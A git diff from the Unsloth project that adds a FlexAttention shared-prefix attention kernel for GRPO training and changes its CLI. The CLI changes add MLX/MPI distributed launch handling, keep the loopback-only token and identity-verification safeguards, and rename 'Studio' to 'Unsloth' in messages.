+        tok_r = tok_r,
+        signature = sig,
+    )
+
+
+__all__ = [
+    "GroupLayout",
+    "build_group_layout",
+    "prefix_grouper_enabled",
+    "verify_on",
+    "tokr_threshold",
+    "tol_ok",
+    "TOL_KILL",
+    "env_on",
+]
diff --git a/unsloth/utils/prefix_grouper_kernel.py b/unsloth/utils/prefix_grouper_kernel.py
new file mode 100644
index 0000000000..9a9719b015
--- /dev/null
+++ b/unsloth/utils/prefix_grouper_kernel.py
@@ -0,0 +1,436 @@
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""FlexAttention shared-prefix kernel for PrefixGrouper (GRPO shared-prompt dedup).
+
+In GRPO every prompt spawns ``G = num_generations`` completions that share the same
+prompt prefix. The full-row packed path forwards the identical prefix ``G`` times.
+PrefixGrouper stores the prefix ONCE and concatenates only the ``G`` suffixes, with an
+attention layout where each suffix token attends to ``[the single shared prefix] +
+[causal within its own suffix]``. This kernel expresses that one-prefix -> many-suffix
+fan-out via a ``torch.nn.attention.flex_attention`` block mask, so the masked-out
+cross-suffix / cross-group blocks are never computed and the ``P + G*R`` FLOP saving is
+realised (not merely a masked dense ``O(T^2)``).
+
+Mask semantics (identical to the certified SDPA oracle):
+
+    keep(q_idx, kv_idx) = same_group(q, kv) AND
+        ( is_prefix[kv_idx]                                  # full prefix visibility
+          OR ( suffix_of_kv[kv_idx] == suffix_of_kv[q_idx]   # same suffix ...
+               AND kv_idx <= q_idx ) )                       # ... causal within it
+
+This module is self-contained (no dependency on any temp/ scratch dir) so PrefixGrouper
+works from the installed source after a fresh compile. It is only imported lazily from
+``attention_dispatch.run_attention`` when ``prefix_seg_info`` is present, which itself is
+only ever set when ``UNSLOTH_GRPO_PREFIX_GROUPER`` is on and grouping succeeded, so the
+default (off) path never touches this file.
+
+Provided entry points:
+  * ``PrefixSegInfo``            : per-flat-token segment metadata + cache signature.
+  * ``build_seg_info_multigroup``: build PrefixSegInfo for many groups packed flat.
+  * ``build_seg_info_from_layout``: build PrefixSegInfo for ONE group (test helper).
+  * ``get_block_mask``          : cached create_block_mask keyed on the signature.
+  * ``flex_shared_prefix_attention(Q, K, V, prefix_seg_info)``
+        Q/K/V of shape [1, T, n_heads, head_dim]; returns [1, T, n_heads, head_dim],
+        IDENTICAL semantics to the SDPA oracle.
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass
+from typing import Dict, List, Optional, Tuple
+
+import torch
+from torch.nn.attention.flex_attention import (
+    BlockMask,
+    create_block_mask,
+    flex_attention,
+)
+
+# GRPO feeds many distinct segment lengths; at dynamo's default recompile_limit (8) the
+# compiled kernel silently reuses a mismatched specialisation (wrong results). Raise it.
+torch._dynamo.config.recompile_limit = max(getattr(torch._dynamo.config, "recompile_limit", 8), 256)
+torch._dynamo.config.accumulated_recompile_limit = max(
+    getattr(torch._dynamo.config, "accumulated_recompile_limit", 256), 2048
+)
+
+
+# Compiled kernels: torch.compile fuses the sparse mask into one kernel. dynamic=True is
+# required: T changes almost every GRPO batch and dynamic=False recompiles per T (~14s
+# each). T is still padded to a multiple of 128 (_pad_len) for the backward kernel.
+_flex_attention_compiled = torch.compile(flex_attention, dynamic = True)
+_create_block_mask_compiled = torch.compile(create_block_mask, dynamic = True)
+
+# Flash block sizes by Q dtype (env-overridable). The two disjoint key runs (prefix +
+# own-suffix) stress online-softmax accumulation: fp32 needs 32/32 for a ~1e-6 floor;
+# bf16 passes parity at 128/64 and is ~5x faster (128/128 OOMs Triton on B200).
+_FP32_BLOCK_M = int(os.environ.get("PG_FLEX_BLOCK_M", "32"))
+_FP32_BLOCK_N = int(os.environ.get("PG_FLEX_BLOCK_N", "32"))
+_BF16_BLOCK_M = int(os.environ.get("PG_FLEX_BF16_BLOCK_M", "128"))
+_BF16_BLOCK_N = int(os.environ.get("PG_FLEX_BF16_BLOCK_N", "64"))
+
+
+def _kernel_options_for_dtype(dtype):
+    """Pick the numerically-safe flash block sizes for the Q dtype."""
+    if dtype == torch.bfloat16 or dtype == torch.float16:
+        return {"BLOCK_M": _BF16_BLOCK_M, "BLOCK_N": _BF16_BLOCK_N}
+    return {"BLOCK_M": _FP32_BLOCK_M, "BLOCK_N": _FP32_BLOCK_N}
+
+
+# Backward-compat constant (fp32 default).
+_FLEX_KERNEL_OPTIONS = {"BLOCK_M": _FP32_BLOCK_M, "BLOCK_N": _FP32_BLOCK_N}
+
+# The compiled backward trips an Inductor assertion when T is not a multiple of 128, so
+# pad the flat sequence. Pad tokens form a group that attends to / is attended by nothing
+# (all-masked rows return 0, not NaN) and are sliced off the output.
+_PAD_MULTIPLE = 128
+_PAD_GROUP = -99  # sentinel group id / suffix id for pad tokens
+
+
+def _pad_len(T: int) -> int:
+    return ((T + _PAD_MULTIPLE - 1) // _PAD_MULTIPLE) * _PAD_MULTIPLE
+
+
+# ---------------------------------------------------------------------------
+# Segment metadata
+# ---------------------------------------------------------------------------
+
+
+@dataclass
+class PrefixSegInfo:
+    """Per-flat-token segment metadata driving the shared-prefix block mask.
+
+    The label tensors are 1-D of length ``T_pad`` (>= real ``T``, padded up to a multiple
+    of 128 so the backward kernel compiles). Positions ``[T:T_pad)`` are pad tokens
+    (group/suffix == _PAD_GROUP) that attend to nothing.
+
+    Attributes
+    ----------
+    group_of_kv : LongTensor [T_pad]
+        Group id per flat token (0..num_groups-1); _PAD_GROUP for pad tokens.
+    is_prefix : BoolTensor [T_pad]
+        True iff the token is a prefix token of its group (False for pad).
+    suffix_of_kv : LongTensor [T_pad]
+        Suffix id per flat token; -1 for prefix, _PAD_GROUP for pad. Suffix ids are
+        globally unique across groups.
+    signature : hashable
+        Cache key for the block mask (depends only on the labels + T_pad).
+    T : int
+        Real flat sequence length (Q/K/V of this length are padded internally).
+    T_pad : int
+        Padded length (multiple of 128) at which the block mask is built.
+    """
+
+    group_of_kv: torch.Tensor
+    is_prefix: torch.Tensor
+    suffix_of_kv: torch.Tensor
+    signature: Tuple
+    T: int
+    T_pad: int
+
+
+def _pad_labels(group_of_kv, is_prefix, suffix_of_kv, device):
+    """Pad the label tensors up to a multiple of 128 with pad-token sentinels."""
+    T = int(group_of_kv.numel())
+    T_pad = _pad_len(T)
+    if T_pad == T:
+        return group_of_kv, is_prefix, suffix_of_kv, T, T_pad
+    pad = T_pad - T
+    group_of_kv = torch.cat(
+        [group_of_kv, torch.full((pad,), _PAD_GROUP, dtype = torch.long, device = device)]
+    )
+    is_prefix = torch.cat([is_prefix, torch.zeros(pad, dtype = torch.bool, device = device)])
+    suffix_of_kv = torch.cat(
+        [suffix_of_kv, torch.full((pad,), _PAD_GROUP, dtype = torch.long, device = device)]
+    )
+    return group_of_kv, is_prefix, suffix_of_kv, T, T_pad
+
+
+def build_seg_info_from_layout(layout, device: Optional[torch.device] = None) -> PrefixSegInfo:
+    """Build PrefixSegInfo for ONE group from an object with ``.flat_ids``, ``.P`` and
+    ``.suffix_slices`` (used by the parity test / oracle helpers)."""
+    if device is None:
+        device = layout.flat_ids.device
+    T = int(layout.flat_ids.shape[1])
+    P = int(layout.P)
+
+    group_of_kv = torch.zeros(T, dtype = torch.long, device = device)  # single group -> 0
+    is_prefix = torch.zeros(T, dtype = torch.bool, device = device)
+    is_prefix[:P] = True
+    suffix_of_kv = torch.full((T,), -1, dtype = torch.long, device = device)
+    for i, (s, e) in enumerate(layout.suffix_slices):
+        suffix_of_kv[s:e] = i
+
+    group_of_kv, is_prefix, suffix_of_kv, T, T_pad = _pad_labels(
+        group_of_kv, is_prefix, suffix_of_kv, device
+    )
+    sig = ("single", T_pad, P, tuple((s, e) for (s, e) in layout.suffix_slices))
+    return PrefixSegInfo(
+        group_of_kv = group_of_kv,
+        is_prefix = is_prefix,
+        suffix_of_kv = suffix_of_kv,
+        signature = sig,
+        T = T,
+        T_pad = T_pad,
+    )
+
+
+def build_seg_info_multigroup(
+    group_specs: List[Tuple[int, List[int]]], device: torch.device
+) -> Tuple[PrefixSegInfo, List[dict]]:
+    """Build PrefixSegInfo for several shared-prefix groups packed block-diagonally.
+
+    Parameters
+    ----------
+    group_specs : list of (P_g, [R_{g,0}, R_{g,1}, ...])
+        For each group: prefix length and the list of suffix lengths.
+
+    Returns
+    -------
+    seg : PrefixSegInfo
+    group_meta : list of dicts with 'base', 'P', 'prefix_last_index', 'suffix_slices'
+        (flat offsets), enough to build the completion index map.
+    """
+    group_of_list = []
+    is_prefix_list = []
+    suffix_of_list = []
+    group_meta = []
+
+    base = 0
+    suffix_counter = 0
+    sig_parts = []
+    for gid, (P, R_list) in enumerate(group_specs):
+        # prefix
+        group_of_list.append(torch.full((P,), gid, dtype = torch.long, device = device))
+        is_prefix_list.append(torch.ones(P, dtype = torch.bool, device = device))
+        suffix_of_list.append(torch.full((P,), -1, dtype = torch.long, device = device))
+        prefix_last_index = base + P - 1
+        suffix_slices = []
+        cursor = base + P
+        for r in R_list:
+            group_of_list.append(torch.full((r,), gid, dtype = torch.long, device = device))
+            is_prefix_list.append(torch.zeros(r, dtype = torch.bool, device = device))
+            suffix_of_list.append(torch.full((r,), suffix_counter, dtype = torch.long, device = device))
+            suffix_slices.append((cursor, cursor + r))
+            cursor += r
+            suffix_counter += 1
+        group_meta.append(
+            {
+                "base": base,
+                "P": P,
+                "prefix_last_index": prefix_last_index,
+                "suffix_slices": suffix_slices,
+            }
+        )
+        sig_parts.append((P, tuple(R_list)))
+        base = cursor
+
+    group_of_kv = torch.cat(group_of_list)
+    is_prefix = torch.cat(is_prefix_list)
+    suffix_of_kv = torch.cat(suffix_of_list)
+    group_of_kv, is_prefix, suffix_of_kv, T, T_pad = _pad_labels(
+        group_of_kv, is_prefix, suffix_of_kv, device
+    )
+    sig = ("multi", T_pad, tuple(sig_parts))
+    seg = PrefixSegInfo(
+        group_of_kv = group_of_kv,
+        is_prefix = is_prefix,
+        suffix_of_kv = suffix_of_kv,
+        signature = sig,
+        T = T,
+        T_pad = T_pad,
+    )
+    return seg, group_meta
+
+
+# ---------------------------------------------------------------------------
+# Block-mask builder + cache, keyed on (signature, device): the mask depends only on the
+# per-token labels and T, so it is reused across layers and steps.
+
+_BLOCK_MASK_CACHE: Dict[Tuple, BlockMask] = {}
+
+
+def _make_mask_mod(group_of_kv, is_prefix, suffix_of_kv):
+    """Return a mask_mod closure over the (device) label tensors.
+
+    keep(q, kv) = same_group AND
+        ( is_prefix[kv]  AND kv <= q                     # causal within/ into prefix
+          OR ( suffix_of_kv[kv] == suffix_of_kv[q]       # same suffix ...
+               AND (not is_prefix[q])                    # q is a suffix token ...
+               AND kv <= q ) )                           # ... causal within it
+
+    The single ``kv <= q`` guard on the is_prefix branch gives BOTH prefix-causal
+    behaviour (a prefix q sees only earlier prefix tokens) AND full-prefix-visibility for
+    suffixes (every prefix index < every suffix index in a group, so kv <= q always holds
+    for a suffix q vs a prefix kv of its group), matching the SDPA oracle exactly.
+    """
+
+    def mask_mod(b, h, q_idx, kv_idx):
+        same_group = group_of_kv[q_idx] == group_of_kv[kv_idx]
+        kv_is_prefix = is_prefix[kv_idx]
+        causal = kv_idx <= q_idx
+        same_suffix = (suffix_of_kv[kv_idx] == suffix_of_kv[q_idx]) & (~is_prefix[q_idx])
+        keep = same_group & ((kv_is_prefix & causal) | (same_suffix & causal))
+        return keep
+
+    return mask_mod
+
+
+def get_block_mask(
+    seg: PrefixSegInfo,
+    device: torch.device,
+    compile_mask: bool = True,
+) -> BlockMask:
+    """Return a cached BlockMask for the segment signature (built once, reused).
+
+    CRITICAL: the block mask is cached and shared across BOTH the no-grad old/ref logprob
+    forward (which runs under torch.inference_mode) and the grad training forward. If the
+    mask were first built under inference_mode, its tensors would be INFERENCE tensors that
+    "cannot be saved for backward" when reused in the grad forward. We therefore build the
+    mask with inference mode explicitly DISABLED, so the same cached BlockMask is a normal
+    tensor usable by autograd. (The mask depends only on integer labels; it needs no grad.)
+    """
+    key = (seg.signature, str(device))
+    bm = _BLOCK_MASK_CACHE.get(key)
+    if bm is not None:
+        return bm
+
+    # Move labels to the consumer (Q) device: with a sharded model the seg tensors live on
+    # input_ids.device and would index cross-device. Copies once per (signature, device).
+    # These copies must also run with inference mode DISABLED (same reason as the mask build):
+    # when this entry is first built under the no-grad old/ref forward's inference_mode and
+    # device != seg.device, a .to(device) copy would be an inference tensor that mask_mod
+    # captures, which then cannot be saved for backward when the grad training forward reuses
+    # the cached mask.
+    builder = _create_block_mask_compiled if compile_mask else create_block_mask
+    with torch.inference_mode(False):
+        mask_mod = _make_mask_mod(
+            seg.group_of_kv.to(device), seg.is_prefix.to(device), seg.suffix_of_kv.to(device)
+        )
+        bm = builder(
+            mask_mod,
+            B = 1,
+            H = None,
+            Q_LEN = seg.T_pad,
+            KV_LEN = seg.T_pad,
+            device = device,
+        )
+    # FIFO bound: GRPO lengths change nearly every step, so evict the oldest to cap GPU pins.
+    if len(_BLOCK_MASK_CACHE) >= 8:
+        _BLOCK_MASK_CACHE.pop(next(iter(_BLOCK_MASK_CACHE)))
+    _BLOCK_MASK_CACHE[key] = bm
+    return bm
+
+
+def clear_block_mask_cache():
+    _BLOCK_MASK_CACHE.clear()
+
+
+def _pad_qkv_seq(x: torch.Tensor, T_pad: int) -> torch.Tensor:
+    """Zero-pad a [B, H, T, D] tensor along the sequence dim up to T_pad."""
+    T = x.shape[2]
+    if T_pad == T:
+        return x
+    pad = torch.zeros(x.shape[0], x.shape[1], T_pad - T, x.shape[3], device = x.device, dtype = x.dtype)
+    return torch.cat([x, pad], dim = 2)
+
+
+def _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad):
+    """Pad q/k/v to T_pad, run flex, slice the output back to T. q/k/v: [B,H,T,D]."""
+    qp = _pad_qkv_seq(q, T_pad)
+    kp = _pad_qkv_seq(k, T_pad)
+    vp = _pad_qkv_seq(v, T_pad)
+    if compiled:
+        out = _flex_attention_compiled(
+            qp,
+            kp,
+            vp,
+            block_mask = block_mask,
+            enable_gqa = enable_gqa,
+            scale = scale,
+            kernel_options = _kernel_options_for_dtype(qp.dtype),
+        )
+    else:
+        # eager path (fp64 parity): dense scores, no kernel_options.
+        out = flex_attention(
+            qp,
+            kp,
+            vp,
+            block_mask = block_mask,
+            enable_gqa = enable_gqa,
+            scale = scale,
+        )
+    return out[:, :, :T, :]
+
+
+# ---------------------------------------------------------------------------
+# The kernel entry point
+# ---------------------------------------------------------------------------
+
+
+def flex_shared_prefix_attention(
+    Q: torch.Tensor,
+    K: torch.Tensor,
+    V: torch.Tensor,
+    prefix_seg_info: PrefixSegInfo,
+    scale: Optional[float] = None,
+    block_mask: Optional[BlockMask] = None,
+    compiled: bool = True,
+) -> torch.Tensor:
+    """Shared-prefix attention via FlexAttention.
+
+    Parameters
+    ----------
+    Q, K, V : Tensor [1, T, n_heads, head_dim]
+        (Q has n_heads, K/V have n_kv_heads for GQA).
+    prefix_seg_info : PrefixSegInfo
+    scale : optional float, softmax scale (defaults to 1/sqrt(head_dim)).
+    block_mask : optional precomputed BlockMask (else built/cached from seg info).
+
+    Returns
+    -------
+    Tensor [1, T, n_heads, head_dim], identical semantics to the SDPA oracle branch.
+    """
+    assert Q.dim() == 4 and Q.shape[0] == 1, f"expected [1,T,H,D], got {tuple(Q.shape)}"
+    device = Q.device
+    # FlexAttention wants [B, H, T, D].
+    q = Q.transpose(1, 2)  # [1, n_heads, T, D]
+    k = K.transpose(1, 2)  # [1, n_kv_heads, T, D]
+    v = V.transpose(1, 2)
+
+    n_heads = q.shape[1]
+    n_kv = k.shape[1]
+    enable_gqa = n_heads != n_kv
+    T = q.shape[2]
+    T_pad = prefix_seg_info.T_pad
+    assert T == prefix_seg_info.T, f"Q length {T} != seg.T {prefix_seg_info.T}"
+
+    if block_mask is None:
+        block_mask = get_block_mask(prefix_seg_info, device, compile_mask = compiled)
+
+    out = _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad)
+    # back to [1, T, n_heads, D]
+    return out.transpose(1, 2).contiguous()
+
+
+__all__ = [
+    "PrefixSegInfo",
+    "build_seg_info_multigroup",
+    "build_seg_info_from_layout",
+    "get_block_mask",
+    "clear_block_mask_cache",
+    "flex_shared_prefix_attention",
+]
diff --git a/unsloth_cli/__init__.py b/unsloth_cli/__init__.py
index b3831f5314..121b26f03f 100644
--- a/unsloth_cli/__init__.py
+++ b/unsloth_cli/__init__.py
@@ -81,7 +81,7 @@ app.add_typer(studio_app, name = "studio", help = "Unsloth Studio commands.")
 app.add_typer(
     start_app,
     name = "start",
-    help = "Start a coding agent (Claude, Codex, OpenClaw, OpenCode, Hermes, Pi) against Studio.",
+    help = "Start a coding agent (Claude, Codex, OpenClaw, OpenCode, Hermes, Pi) against Unsloth.",
 )
 # Backwards-compatible hidden alias: `unsloth connect` routes to `unsloth start`.
 app.add_typer(
diff --git a/unsloth_cli/_inference.py b/unsloth_cli/_inference.py
index e8a3414d73..a2b0f9c04f 100644
--- a/unsloth_cli/_inference.py
+++ b/unsloth_cli/_inference.py
@@ -4,9 +4,11 @@
 """Model loading and streaming shared by `inference` and `chat`."""
 
 import asyncio
+import json
 import os
 import re
 import sys
+from contextlib import contextmanager, redirect_stderr, redirect_stdout
 from pathlib import Path
 from typing import List, Optional
 
@@ -14,10 +16,18 @@ import typer
 
 _THINK_OPEN = "<think>"
 _THINK_BLOCK = re.compile(rf"{re.escape(_THINK_OPEN)}.*?</think>", re.DOTALL)
+_STREAMED_ERROR_PREFIX = "Error: "
 
-# Cloudflare (in front of remote Studio proxies like RunPod) 403s the default
+# Cloudflare (in front of remote Unsloth proxies like RunPod) 403s the default
 # "Python-urllib/X.Y" User-Agent as a bot; send a real one on every request.
 _USER_AGENT = "unsloth-cli"
+_MPI_ENV_PAIRS = (
+    ("OMPI_COMM_WORLD_RANK", "OMPI_COMM_WORLD_SIZE"),
+    ("PMI_RANK", "PMI_SIZE"),
+    ("PMIX_RANK", "PMIX_SIZE"),
+    ("MPI_RANK", "MPI_WORLD_SIZE"),
+    ("MV2_COMM_WORLD_RANK", "MV2_COMM_WORLD_SIZE"),
+)
 
 # Built lazily; urllib stays function-local to match this module.
 _no_redirect_opener = None
@@ -26,7 +36,7 @@ _no_redirect_opener = None
 def urlopen_no_redirect(request, timeout):
     """urlopen that errors on any redirect: following a 3xx would send a bearer
     token (or accept an identity proof) to a base we never vetted, letting a port
-    squatter relay a real Studio's response."""
+    squatter relay a real Unsloth's response."""
     global _no_redirect_opener
     if _no_redirect_opener is None:
         import urllib.error
@@ -61,6 +71,108 @@ def configure_quiet_logging() -> None:
     os.environ.setdefault("HF_HUB_DISABLE_PROGRESS_BARS", "1")
 
 
+def _parse_nonnegative_int(value: Optional[str]) -> Optional[int]:
+    if value is None:
+        return None
+    try:
+        parsed = int(value)
+    except (TypeError, ValueError):
+        return None
+    return parsed if parsed >= 0 else None
+
+
+def _first_mpi_env_pair() -> tuple[Optional[int], Optional[int]]:
+    for rank_name, size_name in _MPI_ENV_PAIRS:
+        rank = _parse_nonnegative_int(os.environ.get(rank_name))
+        world_size = _parse_nonnegative_int(os.environ.get(size_name))
+        if rank is not None and world_size is not None and world_size > 1 and rank < world_size:
+            return rank, world_size
+    return None, None
+
+
+def _json_rank_count_from_env(name: str) -> Optional[int]:
+    value = os.environ.get(name)
+    if not value:
+        return None
+    try:
+        if value.lstrip().startswith(("[", "{")):
+            data = json.loads(value)
+        else:
+            with open(value, "r") as f:
+                data = json.load(f)
+    except (OSError, json.JSONDecodeError):
+        return None
+    if isinstance(data, list):
+        return len(data)
+    if isinstance(data, dict) and isinstance(data.get("hosts"), list):
+        return len(data["hosts"])
+    return None
+
+
+def mlx_distributed_info() -> tuple[bool, int, Optional[int]]:
+    """Return launch-context metadata without initializing MLX distributed."""
+    rank = _parse_nonnegative_int(os.environ.get("MLX_RANK"))
+    world_size = _parse_nonnegative_int(os.environ.get("MLX_WORLD_SIZE"))
+    if rank is not None:
+        if (
+            world_size is not None
+            and world_size > 1
+            and rank < world_size
+            and os.environ.get("NCCL_HOST_IP")
+            and os.environ.get("NCCL_PORT")
+        ):
+            return True, rank, world_size
+        inferred_size = _json_rank_count_from_env("MLX_HOSTFILE")
+        if inferred_size is not None and inferred_size > 1 and rank < inferred_size:
+            return True, rank, inferred_size
+        inferred_size = _json_rank_count_from_env("MLX_IBV_DEVICES")
+        if (
+            inferred_size is not None
+            and inferred_size > 1
+            and rank < inferred_size
+            and os.environ.get("MLX_JACCL_COORDINATOR")
+        ):
+            return True, rank, inferred_size
+        return False, 0, None
+
+    mpi_rank, mpi_world_size = _first_mpi_env_pair()
+    return mpi_rank is not None, mpi_rank or 0, mpi_world_size
+
+
+def mlx_distributed_uses_mpi() -> bool:
+    """Whether the current distributed context was launched through MPI."""
+    return (
+        _parse_nonnegative_int(os.environ.get("MLX_RANK")) is None
+        and _first_mpi_env_pair()[0] is not None
+    )
+
+
+@contextmanager
+def quiet_if_nonzero_mlx_rank():
+    """Silence parent and child-process stdout/stderr on nonzero ranks."""
+    if mlx_distributed_info()[1] == 0:
+        yield
+        return
+
+    sys.stdout.flush()
+    sys.stderr.flush()
+    saved_stdout_fd = os.dup(1)
+    saved_stderr_fd = os.dup(2)
+    with open(os.devnull, "w") as devnull:
+        try:
+            os.dup2(devnull.fileno(), 1)
+            os.dup2(devnull.fileno(), 2)
+            with redirect_stdout(devnull), redirect_stderr(devnull):
+                yield
+        finally:
+            sys.stdout.flush()
+            sys.stderr.flush()
+            os.dup2(saved_stdout_fd, 1)
+            os.dup2(saved_stderr_fd, 2)
+            os.close(saved_stdout_fd)
+            os.close(saved_stderr_fd)
+
+
 def visible_text(text: str, show_thinking: bool) -> str:
     if show_thinking:
         return text
@@ -120,6 +232,21 @@ def collect_stream(stream, show_thinking: bool) -> str:
     return visible_text(raw, show_thinking)
 
 
+def raise_on_streamed_error(stream):
+    # Match real backend errors by type (GenStreamError), not the "Error:" text
+    # prefix, so a completion whose text opens with "Error:" is not misread as a
+    # backend failure.
+    try:
+        ensure_studio_backend_path()
+        from core.inference.orchestrator import GenStreamError
+    except Exception:
+        GenStreamError = None
+    for chunk in stream:
+        if GenStreamError is not None and isinstance(chunk, GenStreamError):
+            raise RuntimeError(str(chunk)[len(_STREAMED_ERROR_PREFIX) :].strip() or "Unknown error")
+        yield chunk
+
+
 def render_columns(
     left_label: str,
     left_text: str,
@@ -200,6 +327,19 @@ class ChatBackend:
         except Exception:
             pass
 
+    def share_distributed_object(
+        self,
+        obj,
+        *,
+        timeout = 300.0,
+    ):
+        if self._kind != "unsloth" or not hasattr(self._backend, "share_distributed_object"):
+            raise RuntimeError(
+                "Distributed MLX chat requires the Unsloth MLX backend; "
+                f"backend '{self._kind}' cannot broadcast chat turns."
+            )
+        return self._backend.share_distributed_object(obj, timeout = timeout)
+
 
 def resolve_model_config(model: str, *, hf_token: Optional[str]):
     ensure_studio_backend_path()
@@ -293,36 +433,59 @@ def load_chat_backend(
     fresh_backend uses a private orchestrator so a second model (compare's
     base column) can run alongside the main one.
     """
-    if model_config is None:
-        model_config = resolve_model_config(model, hf_token = hf_token)
+    with quiet_if_nonzero_mlx_rank():
+        is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+        if model_config is None:
+            model_config = resolve_model_config(model, hf_token = hf_token)
 
-    typer.echo(f"Loading {model}", err = True)
+        if is_mlx_distributed and model_config.is_gguf:
+            if rank == 0:
+                typer.echo(
+                    "Distributed MLX inference does not support GGUF/llama.cpp models. "
+                    "Use a non-GGUF MLX model under mlx.launch, or run GGUF without "
+                    "mlx.launch.",
+                    err = True,
+                )
+            raise typer.Exit(code = 1)
 
-    if model_config.is_gguf:
-        return _load_gguf_backend(
-            model_config,
-            hf_token = hf_token,
-            max_seq_length = max_seq_length,
-            tensor_parallel = tensor_parallel,
-            llama_extra_args = llama_extra_args,
-        )
+        if rank == 0:
+            typer.echo(f"Loading {model}", err = True)
 
-    if fresh_backend:
-        ensure_studio_backend_path()
-        from core.inference import InferenceOrchestrator
-        backend = InferenceOrchestrator()
-    else:
-        ensure_studio_backend_path()
-        from core.inference import get_inference_backend
-        backend = get_inference_backend()
-    if not backend.load_model(
-        config = model_config,
-        max_seq_length = max_seq_length,
-        load_in_4bit = load_in_4bit,
-        hf_token = hf_token,
-    ):
-        typer.echo("Model load failed", err = True)
-        raise typer.Exit(code = 1)
+        if model_config.is_gguf:
+            return _load_gguf_backend(
+                model_config,
+                hf_token = hf_token,
+                max_seq_length = max_seq_length,
+                tensor_parallel = tensor_parallel,
+                llama_extra_args = llama_extra_args,
+            )
+
+        if fresh_backend:
+            ensure_studio_backend_path()
+            from core.inference import InferenceOrchestrator
+            backend = InferenceOrchestrator()
+        else:
+            ensure_studio_backend_path()
+            from core.inference import get_inference_backend
+            backend = get_inference_backend()
+        try:
+            loaded = backend.load_model(
+                config = model_config,
+                max_seq_length = max_seq_length,
+                load_in_4bit = load_in_4bit,
+                hf_token = hf_token,
+                tensor_parallel = tensor_parallel,
+                mlx_distributed = is_mlx_distributed,
+            )
+        except Exception as exc:
+            if not is_mlx_distributed:
+                raise
+            if rank == 0:
+                typer.echo(str(exc) or "Model load failed", err = True)
+            raise typer.Exit(code = 1)
+        if not loaded:
+            typer.echo("Model load failed", err = True)
+            raise typer.Exit(code = 1)
     return ChatBackend("unsloth", backend)
 
 
@@ -377,7 +540,7 @@ def find_studio_server(timeout: float = 3.0) -> Optional[str]:
 def is_loopback_url(base: str) -> bool:
     """True only when *base* resolves to loopback. find_studio_server() trusts a
     base after only a health probe, so credentials are auto-sent only to loopback
-    (a local Studio or an SSH tunnel on 127.0.0.1), the targets the auto flows mean."""
+    (a local Unsloth or an SSH tunnel on 127.0.0.1), the targets the auto flows mean."""
     from urllib.parse import urlparse
 
     host = (urlparse(base).hostname or "").lower()
@@ -391,7 +554,7 @@ def is_loopback_url(base: str) -> bool:
 
 
 def verify_studio_identity(base: str, timeout: float = 3.0) -> bool:
-    """Confirm `base` is really this machine's Studio before sending a secret.
+    """Confirm `base` is really this machine's Unsloth before sending a secret.
 
     Send a random nonce to /api/auth/identity and check the returned HMAC against
     the one computed from the local same-user secret; an endpoint without that
@@ -415,7 +578,7 @@ def verify_studio_identity(base: str, timeout: float = 3.0) -> bool:
     port = parsed.port or (443 if parsed.scheme == "https" else 80)
     # Resolve to one concrete address and talk to *that* address, then bind the
     # proof to (address, port). A name like localhost can resolve to a squatter on
-    # ::1 while the real Studio is on 127.0.0.1; connecting to the resolved IP and
+    # ::1 while the real Unsloth is on 127.0.0.1; connecting to the resolved IP and
     # binding to it means a proof relayed from a different address/port won't match.
     try:
         ip = socket.getaddrinfo(host, port, type = socket.SOCK_STREAM)[0][4][0]
@@ -429,7 +592,7 @@ def verify_studio_identity(base: str, timeout: float = 3.0) -> bool:
         headers = {"User-Agent": _USER_AGENT, "Host": parsed.netloc},
     )
     try:
-        # No redirects: a 302 could relay a real Studio's proof (see urlopen_no_redirect).
+        # No redirects: a 302 could relay a real Unsloth's proof (see urlopen_no_redirect).
         # Cap the read: the server is still unverified, so don't trust its length.
         with urlopen_no_redirect(request, timeout = timeout) as response:
             proof = json.loads(response.read(65536).decode() or "{}").get("proof")
@@ -460,7 +623,7 @@ def _studio_token() -> Optional[str]:
 
 
 class HttpChatBackend:
-    """Chat against a running Studio server over its OpenAI-compatible API.
+    """Chat against a running Unsloth server over its OpenAI-compatible API.
 
     close() leaves the model loaded on purpose — the next session (or the
     UI) starts instantly.
@@ -503,7 +666,7 @@ class HttpChatBackend:
         tensor_parallel: bool = False,
         llama_extra_args: Optional[List[str]] = None,
     ) -> None:
-        typer.echo(f"Loading {model} on the Studio server", err = True)
+        typer.echo(f"Loading {model} on the Unsloth server", err = True)
         payload = {
             "model_path": model,
             "hf_token": hf_token,
@@ -606,7 +769,7 @@ def connect_studio_server(
     tensor_parallel: bool = False,
     llama_extra_args: Optional[List[str]] = None,
 ):
-    """Backend on a running Studio server, or None (caller loads locally)."""
+    """Backend on a running Unsloth server, or None (caller loads locally)."""
     base_url = find_studio_server()
     if not base_url:
         return None
@@ -619,20 +782,20 @@ def connect_studio_server(
         if not explicit:
             return None
         typer.echo(
-            f"Can't attach to the Studio server at {base_url}: {reason} Run Studio "
+            f"Can't attach to the Unsloth server at {base_url}: {reason} Run Unsloth "
             "on this machine, or unset UNSLOTH_STUDIO_URL to load the model locally.",
             err = True,
         )
         raise typer.Exit(code = 1)
 
     # Only hand the self-issued JWT (signed with the local secret) to loopback: a
-    # remote URL is unverified and a real remote Studio would reject it anyway.
+    # remote URL is unverified and a real remote Unsloth would reject it anyway.
     if not is_loopback_url(base_url):
         return _refuse(
-            "it isn't a local Studio, so a self-issued token can't "
+            "it isn't a local Unsloth, so a self-issued token can't "
             "authenticate to it and must not be sent to it."
         )
-    # Confirm the loopback responder is really our Studio (not a port squatter).
+    # Confirm the loopback responder is really our Unsloth (not a port squatter).
     if not verify_studio_identity(base_url):
         return _refuse(
             "its identity couldn't be verified (it may be running as a "
@@ -640,7 +803,7 @@ def connect_studio_server(
         )
     token = _studio_token()
     if not token:
-        return _refuse("couldn't self-issue a Studio token (is Studio set up here?).")
+        return _refuse("couldn't self-issue an Unsloth token (is Unsloth set up here?).")
